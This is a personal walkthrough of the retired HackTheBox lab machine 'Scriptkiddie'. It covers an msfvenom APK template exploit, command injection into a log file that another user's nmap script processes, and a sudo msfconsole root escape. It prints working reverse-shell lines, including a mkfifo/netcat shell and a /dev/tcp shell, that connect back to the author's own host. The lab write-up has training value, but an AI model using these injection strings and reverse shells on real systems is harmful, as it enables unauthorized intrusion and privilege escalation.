HackTheBox: Scriptkiddie
01/13/2024
This is another retired easy box, whose user-rated difficulty is between [[Pilgrimage]] and [[PC]].
Enumeration
Two ports open; 22 and 5000.
The machine appears to be running Ubuntu, and the service on 5000 is actually a website that appears to be running Flask.
Navigating to the website at http://10.10.10.226:5000
, a page loads called "Kid's Hacker Tools" with a bunch of text forms where you can enter targets to run commands on such as nmap.
It appears that every tool just submits a POST request to /
with the relevant fields. Under the "payloads" tool you have a file upload field.
It looks like this payloads tool will be the way in, and I can see from generating a test payload that it's storing them in /static/payloads
Ah, okay. The msfvenom tool allows you to upload a file. On a hunch I looked up "msfvenom template exploit", and it turns out there is one; specially-crafted APK files can cause RCE through msfvenom.
I download the proof of concept from exploit-db here: (https://www.exploit-db.com/exploits/49491)
Then I modify the payload to be a netcat busybox reverse shell and run the script with python to generate the payload, "evil.apk". Then I upload this file to the script kiddie site with my IP and the OS set to android, while having a netcat listener set up, and...
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.226] 41966
/bin/sh: 0: can't access tty; job control turned off
$ whoami
kid
Fuck yeah!!! In.
Now lets upgrade the shell by typing python3 -c 'import pty; pty.spawn("/bin/bash")'
and then backgrounding the session and typing stty raw -echo
, fg
, then reset
.
First thing Ill do in here is grab the user flag in /home/kid
.
Next is get a legitimate shell by loading a key into kid
's authorized_keys
file. I generate the shell using ssh-keygen
and just hit enter through all the options, storing the key to ./id_rsa
. Then I ssh in using ssh -i ./id_rsa kid@scriptkiddie
, and Im in.
Now lets run linpeas and see what we can find.
There's another user named "pwn", and I think the key to priv esc is going to involve a script that user runs. I can read /home/pwn
, and I see he has a script running that examines kid's
log of people who attempt to hack the site and for each ip inside it, it appears to run nmap on that ip.
From the file /home/kid/html/app.py
I can see the code responsible for logging IPs to /home/kid/logs/hackers
:
python
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
I can confirm that this is what it's doing by setting up a listener on port 80 and then writing in a semicolon to the searchsploit form on the site:
$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.226] 38050
Once I do that, it logs my IP and then nmaps me.
Priv esc (really turned out to be pivoting)
I just got root with PwnKit, but that obviously wasnt the intended route since that exploit was discovered over a year after this box came out, so Ill delete it and figure out the correct way.
Okay, so what I CAN do is cause him to write files to arbitrary places by echoing crafted strings into /home/kid/logs/hackers
:
kid@scriptkiddie:~$ echo 0.0.0.0 0.0.0.0 ../test >> logs/hackers
kid@scriptkiddie:~$ ls /home/pwn
recon scanlosers.sh test.nmap
"test.nmap" is the file I caused to be written there. The files are SUPPOSED to be written into the "Recon" directory, but by using ../
you can set semi-arbitrary path.
Pspy shows what exactly just happned:
sh -c nmap --top-ports 10 -oN recon/../test.nmap ../test 2>&1 >/dev/null
I can potentially get RCE as pwn
by doing this and injecting semicolons into the code, like so;
kid@scriptkiddie:~$ echo "0.0.0.0 0.0.0.0 ;(sh)0>/dev/tcp/10.10.14.29/9001;" >> logs/hackers
which causes the following to run:
sh -c nmap --top-ports 10 -oN recon/;(sh)0>/dev/tcp/10.10.14.29/9001;.nmap ;(sh)0>/dev/tcp/10.10.14.29/9001; 2>&1 >/dev/null
this LOOKS like it should work, but I get no callback.
On the other hand, THIS works for escaping the .nmap
extension on the arbitrary file write:
kid@scriptkiddie:~$ echo "0.0.0.0 0.0.0.0 ../gotcha;" >> logs/hackers
kid@scriptkiddie:~$ ls /home/pwn
gotcha recon scanlosers.sh test.nmap
Damn! I got it! Caught a reverse shell as pwn by doing this:
kid@scriptkiddie:~$ echo "0.0.0.0 0.0.0.0 ;rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 9001 >/tmp/f;" >> logs/hackers
And on my own machine,
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.226] 35756
/bin/sh: 0: can't access tty; job control turned off
$ whoami
pwn
Hell yeah. I just pivoted successfully. I tried to add my key to his authorized_keys file but wasnt able to.
Priv esc (for real this time)
Hell yeah! pwn
can run sudo
without a password for msfconsole
. That's crazy...
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
According to GTFObins, we can abuse this to get a root shell by running:
pwn@scriptkiddie:~$ sudo msfconsole
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> system("/bin/sh")
# whoami
root